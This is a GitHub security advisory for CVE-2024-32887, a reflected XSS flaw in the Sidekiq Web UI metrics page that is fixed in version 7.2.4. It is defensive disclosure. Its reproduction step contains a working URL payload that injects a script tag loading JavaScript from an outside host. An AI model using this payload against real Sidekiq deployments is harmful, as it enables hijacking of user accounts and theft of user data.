GitHub Advisoryadvisory · RubyGems

GHSA-q655-3pj8-9fxq Sidekiq vulnerable to a Reflected XSS in Queues Web Page

MEDIUM Published 2024-04-26 Modified 2026-06-08 Official page ↗
Aliases
CVE-2024-32887
Ecosystem
RubyGems
Packages
sidekiq
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L
Weaknesses
CWE-79
Reviewed
2024-04-26

Affected packages

• RubyGems sidekiq: >= 7.2.0, < 7.2.4 → fixed in 7.2.4

Description

Description: During the source Code Review of the metrics.erb view of the Sidekiq Web UI, A reflected XSS vulnerability is discovered. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application. This vulnerability can be exploited to target the users of the application, and users of other applications deployed on the same domain or website as that of the Sidekiq website. Successful exploit results may result in compromise of user accounts and user data. Impact: The impact of this vulnerability can be severe. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc. Mitigation: Encode all output data before rendering it in the response to prevent XSS attacks. Steps to Reproduce: 1. Go to the following URL of the sidekiq Web UI: https://{host}/sidekiq/metrics?substr=beret%22%3E%3Cscript%20src=%22https://cheemahq.vercel.app/a.js%22%20/%3E 2. XSS payload will be executed, causing a popup. Evidence: Figure 1: Source Code Vulnerable to XSS Figure 2: XSS payload triggered

Related

Alias · CVE (1)

  • CVE-2024-32887 Sidekiq is simple, efficient background processing for Ruby. vulnerability

Weakness · CWE (1)

  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness

References